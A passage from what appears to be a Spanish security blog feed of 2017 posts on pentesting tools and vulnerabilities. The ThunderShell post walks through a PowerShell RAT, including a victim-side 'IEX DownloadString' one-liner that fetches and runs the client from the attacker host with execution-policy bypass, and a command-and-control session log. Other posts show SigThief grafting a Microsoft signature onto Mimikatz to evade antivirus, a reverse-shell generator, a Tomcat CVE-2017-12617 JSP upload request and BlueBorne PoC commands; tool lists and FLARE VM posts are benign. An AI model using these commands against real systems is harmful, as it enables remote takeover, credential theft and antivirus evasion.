Por esa razón, cada vez hay más y más hackers y pentesters que la utilizan para auditar y comprometer aplicaciones web. Pero, ¿y si fuera la aplicación auditada la que acabara comprometiendo al auditor? Hackear a un hacker… sexy verdad?

Pues hoy veía un video de Sultan Albalawi en el que precisamente se mostraba eso, como es posible conseguir ejecución remota de comandos contra la máquina del atacante debido a una vulnerabilidad en la última versión de Burp Suite, la 1.7.27:


Imaginaros… la cantidad de honeypots que podrían instalarse en aplicaciones web a la espera de ser revisadas por incautos auditores que no imaginan si quiera que pudiera darse la vuelta a la tortilla…

De momento no he podido obtener detalle de la vulnerabilidad ni el código fuente de la PoC, mientras... si lo consigues.. ¡comenta!

Metodología para bug bounties v2 de @jhaddix

$
0
0
Jason Haddix (@jhaddix) es un californiano que durante el 2014 y 2015 fue número 1 de los cazadores de bugs de Bugcrowd y actualmente está liderando la parte de seguridad y confianza de la compañía. Tal bagaje es para tener en cuenta, sobretodo cuando comparte una útil y valiosa metodología para bug bounties.

Su primera versión se basa en la charla de la Defcon 23 "How to shot Web: better hacking in 2015" y recientemente y con motivo de la primera Virtual Hacking Conference de Bugcrowd (LevelUp) ha publicado la segunda versión que, de seguro, será una guía a revisar e incluso un referente para muchos pentesters y “bug hunters”:

https://docs.google.com/presentation/d/1p8QiqbGndcEx1gm4_d3ne2fqeTqCTurTC77Lxe82zLY/edit#slide=id.p

Las secciones, actualizadas la mayoría hace cuatro meses, son las siguientes:

    Las herramientas incluidas en la presentación del Bug Hunters Methodology V2:

    Discovery
    • Sublist3r (Sublist3r is a python tool designed to enumerate subdomains of websites using OSINT). 
    • Brutesubs (An automation framework for running multiple open sourced subdomain bruteforcing tools (in parallel) using your own wordlists via Docker Compose). 
    • Cloudflare_enum (Cloudflare DNS Enumeration Tool for Pentesters). 
    • Censys.py (Quick and Dirty script to use the Censys API to query subdomains of a target domain). 
    • massdns (A high-performance DNS stub resolver). 
    • ListSubs.txt (A list with a lot of subs). 
    • EyeWitness (EyeWitness is designed to take screenshots of websites, provide some server header info, and identify default credentials if possible). 
    • GoBuster (Directory/file & DNS busting tool written in Go). 
    • RobotsDisallowed (The RobotsDisallowed project is a harvest of the Disallowed directories from the robots.txt). 
    • Parameth (This tool can be used to brute discover GET and POST parameters).
    Web Content
    • GroundControl (A collection of scripts that run on my web server). 
    • Sleepy-Puppy (Sleepy Puppy XSS Payload Management Framework). 
    • XSSHunter (The XSS Hunter service - a portable version of XSSHunter.com). 
    • TPLMap (Code and Server-Side Template Injection Detection and Exploitation Tool). 
    • PsychoPATH (Hunting file uploads & LFI in the dark). 
    • Commix (Automated All-in-One OS command injection and exploitation tool)
    Miscellaneous
    • AutoSubTakeover (A tool used to check if a CNAME resolves to the scope adress). 
    • HostileSubBruteforcer (This app will bruteforce for exisiting subdomains) 
    • Tko-Subs (A tool that can help detect and takeover subdomains with dead DNS records). 
    • SandCastle (Python script for AWS S3 bucket enumeration). 
    • GitRob (Reconnaissance tool for GitHub organizations). 
    • TruffleHog (Searches through git repositories for high entropy strings, digging deep into commit history)
    Plugins BurpSuite
    Fuentes:

    ThunderShell: un RAT en Powershell

    $
    0
    0
    ThunderShell de Mr-Un1k0d3r es un RAT en Powershell que se basa en el uso de peticiones HTTP para la comunicación con el C&C.

    Todo el tráfico de red se cifra utilizando una segunda capa de RC4 para evitar la interceptación SSL y anular cualquier sonda IDS/IPS o elemento de seguridad perimetral en la red.

    DEPENDENCIAS
    apt install redis-server
    apt install python-redis

    INSTALACIÓN SERVIDOR                                              
    # git clone https://github.com/Mr-Un1k0d3r/ThunderShell.git 
    # cd ThunderShell

    Para que la víctima se conecte con el servidor del atacante deberá ejecutar el cliente (PS-RemoteShell.ps1). Lo más rápido es dejarlo accesible en Internet y usar el método DownloadString para descargar el contenido y ejecutarlo en memoria (fileless), como veremos más adelante.

    En la PoC lo serviremos mismamente con un sencillo servidor con Python:
    # mkdir WEB
    # mv PS-RemoteShell.ps1 WEB/
    # cd WEB/
    # python -m SimpleHTTPServer 12346 &

    A continuación modificaremos el fichero de configuración (default.json) indicando los puertos e IPs del servidor redis y http donde escuchará el servidor:
    {
            "redis-host": "localhost",
            "redis-port": 6379,

            "http-host": "X.X.23.32",
            "http-port": 8080,
            "http-server": "Microsoft-IIS/7.5",

            "https-enabled": "off",
            "https-cert-path": "cert.pem",

            "encryption-key": "test",
            "max-output-timeout": 5
    }

    Y lo lanzaremos simplemente con:
    root@atacante:~/ThunderShell# python ThunderShell.py default.json 

    Thunder Shell 1.1 | Clients Server CLI
    Mr.Un1k0d3r RingZer0 Team 2017
    --------------------------------------------------------

    [+] Starting web server on X.X.23.32 port 8080
                     
    CONEXIÓN DEL CLIENTE

    Ahora, en el PC de la víctima deberemos ejecutar:
    powershell -exec bypass IEX (New-Object Net.WebClient).DownloadString('http://X.X.23.32:12346/PS-RemoteShell.ps1'); PS-RemoteShell -ip  X.X.23.32 -port 8080 -Key test -Delay 2000

    Como veis utilizamos también el parámetro 'bypass' para evadir las políticas de ejecución de scripts.

    Si es necesario, también podríamos modificar el payload según las defensas que encontremos en el equipo atacado. Por ejemplo, los administradores pueden bloquear PowerShell y otros intérpretes basados en una extensión, comúnmente .ps1. Para saltar esta restricción podríamos usar Get-Content para acceder al script en malware con extensión .ps2 y pasarla a Invoke-Expression (iex) para su ejecución:
    powershell.exe –ep Bypass “& {Get-Content .\malware.ps2 | iex}

    A vueltas al consola del servidor podemos ver como se conecta la víctima y obtenemos una sesión interactiva:
    Thunder Shell 1.1 | Clients Server CLI
    Mr.Un1k0d3r RingZer0 Team 2017
    --------------------------------------------------------

    [+] Starting web server on X.X.23.32 port 8080
     
    (Main)>>> X.X.123.12 - - [20/Sep/2017 20:41:19] "GET /PS-RemoteShell.ps1 HTTP/1.1" 200 -


    (Main)>>>
    [+] Registering new shell x64 - :WIN7PC\usuario
    [+] New shell ID 1 GUID is 345cd113-1281-47d1-adc5-7c35d4207481


    (Main)>>> help

    Help Menu
    -----------------------

        list      args (full)             List all active shells
        interact  args (id)               Interact with a session
        show      args (error/http/event, count)  Show error, http or event log (default number of rows 10)
        kill      args (id)               Kill shell (clear db only)
        exit                              Exit the application
        help                              Show this help menu

    (Main)>>> list

    List of active shells
    -----------------------

      1    x64 - :WIN7PC\usuario

    (Main)>>> list full

    List of active shells
    -----------------------

      1    x64 - :WIN7PC\usuario 345cd113-1281-47d1-adc5-7c35d4207481 last seen 20/09/2017 20:42:22

    (Main)>>> interact 1

    (x64 - :WIN7PC\usuario)>>> help

    Shell Help Menu
    -----------------------

        background                              Return to the main console
        refresh                                 Check for previous commands output
        fetch         args (path/url, command)  In memory execution of a script and execute a commmand
        exec          args (path/url)           In memory execution of code (shellcode)
        read          args (remote path)        Read a file on the remote host
        upload        args (path/url, path)     Upload a file on the remote system
        ps                                      List processes
        powerless     args (powershell)         Execute Powershell command without invoking Powershell
        inject        args (32/64, pid, command)Inject command into a target process (max length 4096)
        alias         args (key, value)         Create an alias to avoid typing the same thing over and over
        delay         args (milliseconds)       Update the callback delay
        help                                    Show this help menu


    List of built in alias
    -----------------------

        powerup                 PowerUp tool set
        wmiexec                 Remote-WmiExecute utility
        searchevent             Search-EventForUser utility
        keethief                KeeThief tool set (Get-KeePassDatabaseKey)
        mimikatz                Invoke-Mimikatz utility
        inveigh                 Invoke-Inveigh utility
        powerview               PowerView tool set


    List user defined alias
    -----------------------


    (x64 - :WIN7PC\usuario)>>> whoami
    WIN7PC\usuario

    (x64 - :WIN7PC\usuario)>>> delay 0
    Updating delay to 0
    Delay is now 0

    (x64 - :WIN7PC\usuario)>>> refresh

    (x64 - :WIN7PC\usuario)>>> ps
     PID Name                      Owner         CommandLine                       
     --- ----                      -----         -----------                       
       0 System Idle Process                                                       
       4 System                                                                    
     392 smss.exe                                                                  
     492 csrss.exe                                                                 
     548 csrss.exe                                                                 
     556 wininit.exe                                                               
     592 winlogon.exe                                                              
     652 services.exe                                                              
     660 lsass.exe                                                                 
    ...


    (x64 - :WIN7PC\usuario)>>> fetch powerview Get-NetLocalGroup -ComputerName 127.0.0.1
    [+] Fetching https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1
    [+] Executing Get-NetLocalGroup -ComputerName 127.0.0.1
    WIN7PC\usuario
    ...

    LOGS

    Todos los errores, peticiones http y comandos son registrados y guardados en la carpeta de logs, dentro de un directorio con nombre la fecha correspondiente. Por ejemplo:
    # ls /root/ThunderShell-master/logs/20-09-2017
    event.log
    http.log
    shell_345cd113-1281-47d1-adc5-7c35d4207481.log

    # cat event.log 
    [Wed Sep 20 20:41:32 2017] New Shell:
    register 345cd113-1281-47d1-adc5-7c35d4207481 x64 - :WIN7PC\USUARIO

    # cat http.log 
    X.X.123.12 (Wed Sep 20 20:41:32 2017) [X.X.123.12] POST /?345cd113-1281-47d1-adc5-7c35d4207481 HTTP/1.1
    X.X.123.12 (Wed Sep 20 20:41:39 2017) [X.X.123.12] POST /?345cd113-1281-47d1-adc5-7c35d4207481 HTTP/1.1
    X.X.123.12 (Wed Sep 20 20:41:42 2017) [X.X.123.12] POST /?345cd113-1281-47d1-adc5-7c35d4207481 HTTP/1.1
    X.X.123.12 (Wed Sep 20 20:41:46 2017) [X.X.123.12] POST /?345cd113-1281-47d1-adc5-7c35d4207481 HTTP/1.1
    X.X.123.12 (Wed Sep 20 20:41:50 2017) [X.X.123.12] POST /?345cd113-1281-47d1-adc5-7c35d4207481 HTTP/1.1
    ...


    # cat shell_345cd113-1281-47d1-adc5-7c35d4207481.log
    [Wed Sep 20 20:43:30 2017] Sending:
    help

    [Wed Sep 20 20:43:48 2017] Sending:
    whoami

    [Wed Sep 20 20:43:55 2017] Received:
    WIN7PC\usuario



    [Wed Sep 20 20:44:11 2017] Sending:
    delay 0

    [Wed Sep 20 20:44:15 2017] Received:
    Delay is now 0


    [Wed Sep 20 20:44:17 2017] Sending:
    whoami

    [Wed Sep 20 20:44:20 2017] Received:
    WIN7PC\usuario



    [Wed Sep 20 20:44:38 2017] Sending:
    fetch powerview Get-NetLocalGroup -ComputerName 127.0.0.1

    [Wed Sep 20 20:45:07 2017] Sending:
    refresh

    [Wed Sep 20 20:45:36 2017] Sending:
    ps

    [Wed Sep 20 20:45:51 2017] Received:

     PID Name                      Owner         CommandLine                       
     --- ----                      -----         -----------                       
       0 System Idle Process                                                       
       4 System                                                                    
     392 smss.exe                                                                  
     492 csrss.exe                                                                 
     548 csrss.exe
    ....

    Fuente: https://github.com/Mr-Un1k0d3r/ThunderShell

    PoCs de BlueBorne

    $
    0
    0
    Una de las vulnerabilidades seguramente más impactantes de todo el año es BlueBorne. Descubierta por la empresa Armis, se trata de un conjunto de ocho exploits que permiten vulnerar prácticamente cualquier dispositivo Bluetooth y sin necesidad de que esté pareado con el atacante o que haya cualquier otra interacción... es decir, millones y millones de dispositivos están en serio riesgo sólo por tener activado Bluetooth. La única opción es instalar las últimas actualizaciones y lo antes posible.

    Según los investigadores de Armis, "esta vulnerabilidad reside en el servicio Bluetooth Network Encapsulation Protocol (BNEP), que permite compartir Internet a través de una conexión Bluetooth (tethering). Debido a un fallo en el servicio de BNEP, un hacker puede desencadenar una corrupción de memoria "quirúrgica", que es fácil de explotar y permite ejecutar código en el dispositivo, otorgándole un control completo".

    Además, cuando se tiene acceso al dispositivo es posible transmitir datos desde el dispositivo haciendo un MiTM. "La vulnerabilidad reside en el perfil PAN de la pila Bluetooth y permite al atacante crear una interfaz de red maliciosa en el dispositivo de la víctima, volver a configurar el enrutamiento IP y obligar al dispositivo a transmitir toda la comunicación a través de la interfaz de red malintencionada. Este ataque no requiere ninguna interacción del usuario, autenticación o emparejamiento, haciéndolo prácticamente invisible".

    Para más información os recomiendo que echéis un vistazo al paper de Armis.

    Las vulnerabilidades han sido bautizadas con los siguientes CVEs:
    •    CVE-2017-0781 CVE-2017-0782, CVE-2017-0783 y CVE-2017-0785 para dispositivos Android.
    •    CVE-2017-1000251 y CVE-2017-1000250 para Linux
    •    CVE-2017-8628 en Windows.

    Los vídeos con la PoC las demos son impresionantes pero el código del exploit, que es lo que todo el mundo anda buscando xD, todavía no está disponible. No obstante, todo parece indicar que es cuestión de tiempo y ya empiezan a surgir otras PoC independiente bastante interesantes. En este post intentaré ir publicando todas las pruebas con cada una de ellas que vaya surgiendo:

    Descubriendo dispositivos Bluetooth cercanos (PyBluez)

    # python
    Python 2.7.13 (default, Jan 19 2017, 14:48:08)
    [GCC 6.3.0 20170118] on linux2
    Type "help", "copyright", "credits" or "license" for more information.
    >>> import bluetooth
    >>>
    >>> nearby_devices = bluetooth.discover_devices()
    >>> nearby_devices
    ['50:8F:XX:XX:XX:XX', 'C0:D9:YY:YY:YY:YY']

    Poc de Kert Ojasoo (ojasookert)
    Fuente: https://github.com/ojasookert/CVE-2017-0785

    Estudio personal basado en la vulnerabilidad de fuga de información de Android lanzada por Armis.

    Dependencias
    sudo apt-get install bluetooth libbluetooth-dev
    sudo pip install pybluez
    sudo pip install pwntools

    Instalación y uso
    # git clone https://github.com/ojasookert/CVE-2017-0785.git
    # cd CVE-2017-0785
    # python CVE-2017-0785.py TARGET=XX:XX:XX:XX:XX:XX

    Detectando la arquitectura en Windows con ensamblador mediante registros de segmentación

    $
    0
    0
    Un viejo pero efectivo truco para detectar la arquitectura de un sistema es usar los registros de segmento CS, un método que usaba también el malware Kronos:
    xor   eax,eax   
    mov   ax,cs   
    shr   eax,5   

    En base a ésto, un cazador de bugs como Osanda Malith Jayathissa (@OsandaMalith) ha expuesto en su blog otras formas de obtener la arquitectura mediante los registros de segmento ES, GS y FS:

    Usando ES
    ; Author : @OsandaMalith
    main:
            xor eax,eax
            mov ax,es
            ror ax, 0x3
            and eax,0x1
            test eax, eax
            je thirtytwo
            invoke MessageBox,0, 'You are Running 64-bit', 'Architecture', MB_OK + MB_ICONINFORMATION
            jmp exit

    thirtytwo:
            invoke MessageBox,0, 'You are Running 32-bit', 'Architecture', MB_OK + MB_ICONINFORMATION

    exit:
            invoke ExitProcess, 0 

    Usando GS
    ; Author : @OsandaMalith
    main:
            xor eax, eax
            mov eax, gs
            test eax, eax
            je thirtytwo
            invoke MessageBox,0, 'You are Running 64-bit', 'Architecture', MB_OK + MB_ICONINFORMATION
            jmp exit

    thirtytwo:
            invoke MessageBox,0, 'You are Running 32-bit', 'Architecture', MB_OK + MB_ICONINFORMATION

    exit:
            invoke ExitProcess, 0

    .end main    

    Usando TEB

    También podemos usar TEB (Win32 Thread Information Block) + 0xc0 la cuál es ‘WOW32Reserved’.


    ; Author : @OsandaMalith
    main:
            xor eax, eax
            mov eax, [FS:0xc0]
            test eax, eax
            je thirtytwo
            invoke MessageBox,0, 'You are Running 64-bit', 'Architecture', MB_OK + MB_ICONINFORMATION
            jmp exit

    thirtytwo:
            invoke MessageBox,0, 'You are Running 32-bit', 'Architecture', MB_OK + MB_ICONINFORMATION

    exit:
            invoke ExitProcess, 0

    .end main 
     

    Y lo mejor, Osanda nos regala también un pequeño programa en C con todas estas técnicas para detectar la arquitectura, tremendamente útil para shellcoding:

    #include <Windows.h>
    #include <wchar.h>

    /*
     * Author: Osanda Malith Jayathissa - @OsandaMalith
     * Website: https://osandamalith.com
     * Description: Few tricks that you can use to detect the architecture in Windows
     * Link :  http://osandamalith.com/2017/09/24/detecting-architecture-in-windows/
     */

    BOOL detectArch_ES() {
    #if defined(_MSC_VER)
        _asm {
            xor eax, eax
            mov ax, es
            ror ax, 0x3
            and eax, 0x1           
        }
    #elif defined(__GNUC__)       
    asm( 
            ".intel_syntax noprefix;"
            "xor eax, eax;"
            "mov ax, es;"
            "ror ax, 0x3;"
            "and eax, 0x1;"
               
        );
    #endif
    }

    BOOL detectArch_GS() {
    #if defined(_MSC_VER)
        _asm {
            xor eax, eax
            mov ax, gs

        }
    #elif defined(__GNUC__)       
        asm(
            ".intel_syntax noprefix;"
            "xor eax, eax;"
            "mov ax, gs;"
            );
    #endif
    }

    BOOL detectArch_TEB() {
    #if defined(_MSC_VER)
        _asm {
            xor eax, eax
            mov eax, fs:[0xc0]

        }
    #elif defined(__GNUC__)       
        asm(
            ".intel_syntax noprefix;"
            "xor eax, eax;"
            "mov eax, fs:[0xc0];"
            );
    #endif
    }

    int main(int argc, char* argv[]) {
        wprintf(
            !detectArch_ES() ?
            L"You are Running 32-bit\n" :
            L"You are Running 64-bit\n"
            );

       
        wprintf(
            !detectArch_GS() ?
            L"You are Running 32-bit\n" :
            L"You are Running 64-bit\n"
            );
           
        wprintf(
            !detectArch_TEB() ?
            L"You are Running 32-bit\n" :
            L"You are Running 64-bit\n"
            );
           
        return 1337;

     

    Fuente: Detecting Architecture in Windows

    Reverse Shell: herramienta en PowerShell para crear shells reversas y actualizarlas a meterpreter

    $
    0
    0
    Muchas veces necesitamos más que una simple consola de texto TTY para continuar decentemente con la post-explotación, dónde una sesión de meterpreter es mucho más adecuada. Para facilitar eso, ReverseShell es un sencillo script en PowerShell con el que 1/ facilitamos el proceso de crear una shell reversa (o inversa, como la queráis llamar) con diferentes payloads dependiendo del intérprete que soporte el servidor (python, bash, perl, java, php o ruby) y 2/ automatizamos la actualización a Meterpreter.

    Su sintaxis es muy sencilla:

     ./shell-reverse.ps1 -Lhost 10.10.10.1 -Lport 4444 -payload -web -metasploit

    - payload: python, python3, bash, perl, php, ruby, java
    - web: codificar el payload para URL (encoder)
    - metasploit: inicia Metasploit y lo deja esperando sesión para actualizarla a Meterpreter

    Demo:

    Github: https://github.com/Hackplayers/ReverseShell/

    Contribución gracias a Luis Vacas (@CyberVaca)

    Material de la DerbyCon 7.0 Legacy

    $
    0
    0
    Cortesía de Irongeek, ya tenemos disponibles los vídeos de la séptima edición de la conferencia DerbyCon que tuvo lugar los días 20 a 24 de septiembre en Kentucky. Otra buena oportunidad para aprender y disfrutar de muchas charlas, algunas tremendamente interesantes:

    Keynotes y demás





    Track 1


















    MitM Digital Subscriber Lines
    Marcus Gruber & Marco Lux

    Jumping the Fence: Comparison and Improvements for Existing Jump Oriented Programming Tools
    John Dunlap

    Track 2





    Steel Sharpens Steel: Using Red Teams to improve Blue Teams
    Christopher Payne
    (Not recorded)















    Track 3












    Peekaboo! I Own You. Owning Hundreds of Thousands Vulnerable Devices with only two HTTP packets
    Amit Serper










    Track 4








    Advanced Threat Hunting
    Robert Simmons








    Would You Like To Play A Game: A Post Exploitation Journey in to z/OS
    Philip Young aka Soldier of FORTRAN





    Charlas estables





    DFIR Redefined
    Russ McRee





    Shellcode Via VBScript/JScript Implications
    Casey Smith
    (Missing?)

































    Echando una firma digital a Mimikatz (o a cualquier ejecutable) para bypassear antivirus

    $
    0
    0
    Desde las Altas Tierras nos llegaba un telegrama curioso con un tweet de subTee en el que decía estampar la firma digital de Microsoft en el ejecutable de Mimikatz. ¿Y para qué? Pues aunque parezca mentira me pongo colorada todavía hoy en día muchos antivirus se pasan por el forro de la indetección aquellos ejecutables (PE) que estén firmados digitalmente por, digamos, autoridades de certificación de renombre como M$ (tito Gates approved), y lo más importante, independientemente si la firma es válida o no, es decir, sólo comprueban que la certTable tiene algún valor.

    La herramienta que "traslada" la firma digital de un ejecutable a otro es SigThief de Josh Pitts aka secretsquirrel:
    $ git clone https://github.com/secretsquirrel/SigThief.git

    Su sintaxis es muy sencilla:
    Usage: sigthief.py [options]

    Options:
      -h, --help            show this help message and exit
      -i FILE, --file=FILE  file still signature from
      -r, --rip             rip signature off inputfile
      -a, --add             add signautre to targetfile
      -o OUTPUTFILE, --output=OUTPUTFILE
                            output file
      -s SIGFILE, --sig=SIGFILE
                            binary signature from disk
      -t TARGETFILE, --target=TARGETFILE
                            file to append signature too
      -c, --checksig        file to check if signed; does not verify signature
      -T, --truncate        truncate signature (i.e. remove sig)

    Para ver un poco su uso, copiaremos la firma del ejecutable de Güindous'consent.exe' al ejecutable 'mimikatz.exe'.

    Primero echamos un vistazo al binario original:


    Luego usamos SigThief para copiar su firma al ejecutable de Mimikatz:
    $ cd SigThief
    $ python sigthief.py -i ./pruebas/consent.exe -t ./pruebas/mimikatz.exe -o /tmp/mimikatz_firmado.exe
    Output file: /tmp/mimikatz_firmado.exe
    Signature appended.
    FIN.

    Y comprobamos:

    Después y lo más importante, si pasáis el ejecutable "malicioso" por un multiantivirus antes y después de la firma os quedaréis boquiabiertos con el resultado:

    Ejecutable original:https://nodistribute.com/result/rZxMKwIuE4hRPyUjSq6


    Ejecutable con la firma de Microsoft:https://nodistribute.com/result/5DCGFxqwMtdjezKyP73I


    Como habéis podido comprobar, grandes antivirus como Comodo, BitDefender, McAfee, Norton, Panda, etc. consideran el ejecutable limpio sólo por llevar la firma... ¡increíble!

    Por último otras cosillas que también podemos hacer con la herramienta:

    Podemos salvar la firma para usarla más tarde con otros ejecutables:
    $ python sigthief.py -i ./pruebas/consent.exe -r
    Ripping signature to file!
    Output file: ./pruebas/consent.exe_sig
    Signature ripped.
    FIN.
    $ python sigthief.py -s ./pruebas/consent.exe_sig -t ./pruebas/mimikatz.exe
    Output file: ./pruebas/mimikatz.exe_signed
    Signature appended.
    FIN.

    Comprobar si el ejecutable tiene ya una firma:
    $ python sigthief.py -i ./pruebas/mimikatz.exe_signed -c

    Inputfile is signed!

    E incluso borrarla (muy interesante para ver si el AV utiliza la firma);
    $ ./sigthief.py -i ./pruebas/mimikatz.exe_signed -T    
    Inputfile is signed!
    Output file: ./pruebas/mimikatz.exe_signed_nosig
    Overwriting certificate table pointer and truncating binary
    Signature removed.
    FIN.

    Proyecto: https://github.com/secretsquirrel/SigThief

    VHostScan: herramienta para enumerar virtual hosts

    $
    0
    0
    Ya sabéis que los Virtual Hosts nos permiten servir diferentes sitios usando la misma IP. El servidor web identifica qué contenido debe servir en base a la cabecera Host que reciba del cliente y, por lo general, también tiene un contenido predeterminado por si la cabecera Host no coincide con ninguno de los hosts virtuales. Para sitios con HTTPS, se utiliza la indicación de nombre de servidor (SNI) porque el handshake del certificado se produce antes de que se envíen las cabeceras.

    VHostScan es una herramienta de enumeración de virtual hosts que se puede utilizar con herramientas de pivoting, detectar escenarios de captura (catch-all), alias y páginas predeterminadas dinámicas. Su autor es el pentester autraliano codingo (autor de NoSQLMap entre otras) que la presentó por primera vez en la SecTalks BNE en septiembre de 2017 (slidedeck).

    Entre sus características destaca:

    - detecta rápidamente contenido único en escenarios catch-all
    - localiza valores atípicos en escenarios catch-all donde los resultados tienen contenido dinámico en la página (como el tiempo)
    - identifica aliases ajustando la profundidad única de los distintos matches
    - admite listas de palabras estándar y una variable para introducir un nombre de host base (por ejemplo, el dev.%s de la lista de palabras se ejecutaría como dev.BASE_HOST)
    - funciona sobre HTTP y HTTPS
    - tiene capacidad para establecer el puerto real del servidor web para utilizar en los encabezados al pivotar a través de ssh/nc
    - agrega cabeceras de respuesta simples para omitir algunos productos WAF


    La siguiente tabla muestra una comparativa entre VHostScan y el intruder de Burp Suite y el script http-vhosts de Nmap:


    Instalación

    $ git clone https://github.com/codingo/VHostScan.git
    $ cd VHostScan
    $ pip install -r requirements.txt

    Uso

    $ python VHostScan.py 
    +-+-+-+-+-+-+-+-+-+  v. 1.4
    |V|H|o|s|t|S|c|a|n|  Developed by @codingo_ & @__timk
    +-+-+-+-+-+-+-+-+-+  https://github.com/codingo/VHostScan

    usage: VHostScan.py [-h] -t TARGET_HOSTS [-w WORDLISTS] [-b BASE_HOST]
                        [-p PORT] [-r REAL_PORT]
                        [--ignore-http-codes IGNORE_HTTP_CODES]
                        [--ignore-content-length IGNORE_CONTENT_LENGTH]
                        [--unique-depth UNIQUE_DEPTH] [--ssl] [--fuzzy-logic]
                        [--no-lookups] [--rate-limit RATE_LIMIT] [--random-agent]
                        [--user-agent USER_AGENT] [--waf] [-oN OUTPUT_NORMAL] [-]

    $ python VHostScan.py -t bank.com


    Reenvío de puertos

    Si por ejemplo tenemos un port forward con SSH escuchando en el puerto 4444 y redirigiendo el tráfico hacia el puerto 80 en la máquina de desarrollo de example.com, podríamos utilizar lo siguiente para hacer que VHostScan se conecte a través del túnel SSH vía localhost:4444 pero a su vez formatee las cabeceras para adaptarse directamente al puerto 80:

    $ VHostScan.py -t localhost -b example.com -p 4444 -r 80

    STDIN

    Podemos usar el pipe con VHostScan mediante el flag "-":

    $ cat bank.htb | VHostScan.py -t 10.10.10.29 -

    STDIN y wordlists

    También podemos especificar una lista de palabras para usar junto con stdin. En estos casos, la información de lista se añadirá a stdin. Por ejemplo:

    $ echo -e 'a.example.com\b.example.com' | VhostScan.py -t localhost -w ./wordlists/wordlist.txt -

    Fuzzy Logic

    Aquí hay un ejemplo con --fuzzy-logic activado. Se puede ver que la última comparación es mucho más parecida que las dos primeras (está comparando el contenido no los hashes reales):


    Proyecto: https://github.com/codingo/VHostScan

    dcrawl: un web crawler multihilo y multidominio

    $
    0
    0
    Seguimos aumentando nuestro arsenal, esta vez con un web crawler escrito en go, llamado dcrawl, que es sencillo pero a la vez inteligente, que soporta múltiples hilos para el descubrimiento de enormes listas de nombres de dominio únicos.

    dcrawl toma una URL de una web como entrada y detecta todos los enlaces en el cuerpo (body) del sitio. Cada enlace encontrado se añade a la cola. Sucesivamente, cada enlace encolado se rastrea de la misma manera, ramificando en múltiples URLs según se vayan encontrando.


    Cómo funciona el crawling o rastreo inteligente:
    • Ramificación limitada por un número predefinido de enlaces por cada hostname único.
    • Número máximo de nombres de host diferentes permitidos por dominio (evita subdominios que se rastreen hasta el “infierno” como por ejemplo, blogspot.com).
    • Se puede reiniciar con la misma lista de dominios - los últimos dominios guardados se agregan a la cola de URL.
    • Rastrea solo los sitios que devuelven text/html en el Content-Type de las respuestas a HEAD.
    • Recupera el cuerpo del sitio con un tamaño máximo de 1MB.
    • No guarda los dominios inaccesibles.
    Cómo ejecutarlo
    go build dcrawl.go
    ./dcrawl -url http://wired.com -out ~/domain_lists/domains1.txt -t 8
    Uso
         ___                          __
    __| _/________________ __ _ _| |
    / __ |/ ___\_ __ \__ \\ \/ \/ / |
    / /_/ \ \___| | \// __ \\ /| |__
    \____ |\___ >__| (____ /\/\_/ |____/
    \/ \/ \/ v.1.0

    usage: dcrawl -url URL -out OUTPUT_FILE -t THREADS

    -ms int
    maximum different subdomains for one domain (def. 10) (default 10)
    -mu int
    maximum number of links to spider per hostname (def. 5) (default 5)
    -out string
    output file to save hostnames to
    -t int
    number of concurrent threads (def. 8) (default 8)
    -url string
    URL to start scraping from
    -v bool
    verbose (default false)
    Fuente: https://github.com/kgretzky/dcrawl

    Vulnerabilidad RCE en Tomcat (CVE-2017-12617): HTTP PUT + bypass jsp upload

    $
    0
    0
    El equipo de Apache Tomcat anunció que todas las versiones de Tomcat anteriores a la 9.0.1 (Beta), 8.5.23, 8.0.47 y 7.0.82 en todos los sistemas operativos contienen una vulnerabilidad de ejecución remota de código (RCE) si el servlet por defecto y/o el servlet WebDAV se configura con el parámetro readonly a false.

    Para comprobar si un servidor es vulnerable sólo hay que chequear el init-param en el fichero web.xml correspondiente:
        <init-param>
            <param-name>readonly</param-name>
            <param-value>false</param-value>
        </init-param>

    Con esta configuración es posible que cualquier usuario NO autenticado pueda subir archivos (HTTP PUT), como decía Alejandro Ramos una "Reproducción de vulnerabilidades de los 90". Si bien el gran problema es que el filtro que impide la subida de JavaServer Pages (.jsp) se puede bypassear. Es decir, se puede subir un JSP y a continuación se puede ejecutar en el servidor.

    El pasado 20 de septiembre se publicó una PoC en Tomcat Bugtracker y, aunque la mayoría de sistemas no tienen esta config por defecto, conviene parchear anyway:
    PUT /1.jsp/ HTTP/1.1
    Host: 192.168.3.103:8080
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
    Referer: http://192.168.3.103:8080/examples/
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4,zh-TW;q=0.2
    Cookie: JSESSIONID=A27674F21B3308B4D893205FD2E2BF94
    Connection: close
    Content-Length: 26

    <% out.println("hello");%>

    Fuente: https://www.alphabot.com/security/blog/2017/java/Apache-Tomcat-RCE-CVE-2017-12617.html

    FLARE VM, distribución Windows para diseccionar malware

    $
    0
    0
    A muchos de nosotros seguramente nos habrá llegado alguna vez algún email con archivos adjuntos que olían a chamusquina o nos ha saltado algún web intentando descargar alguna clase de ejecutable que olía peor que un calcetín sudado, una gran parte de estos, seguramente borraron el email con el adjunto factura_del_gas.exe con su icono de un pdf y cerraron la web que te descargaba la imagen de Ramona en paños menores (también en formato .exe, para no variar), pero muchos otros tuvieron el valor de descargarlos, ya sea con la intención de ver a Ramona o pagar la factura, o para analizar dichos binarios en busca de algo sospechoso que huele de lejos, también llamado malware.

    Para analizar cualquier archivo sospechoso es muy recomendado hacerlo siempre desde una máquina virtual emulando un sistema víctima para así poder observar el comportamiento de ese malware en el entorno virtualizando, a pesar de que alguna clase de malware sea capaz de detectar su ejecución en una maquina virtual (comúnmente por procesos creado por el software de virtualización) y alterar su comportamiento para pasar desapercibido, esto no suele ser lo más común pero podría ocurrir, aún así los análisis se deben realizar en un entorno virtualizado para así también evitar que el sistema anfitrión se vea afectado por alguna de las pruebas como un análisis dinámico.

    También necesitaremos para el análisis del malware diversas herramientas como desensambladores, decompiladores, software para la monitorización, debuggers... Como ya bien sabrá cualquier aficionado al reversing y al análisis de malware.

    Pues gracias a FLARE VM podremos olvidarnos de tirar nuestro preciado tiempo configurando e instalando herramientas para analizar malware, ya que esta herramienta creada por la gente de FireEye se encargará de descargarnos un montón de herramientas dedicadas al análisis de malware, reversing, análisis forense...

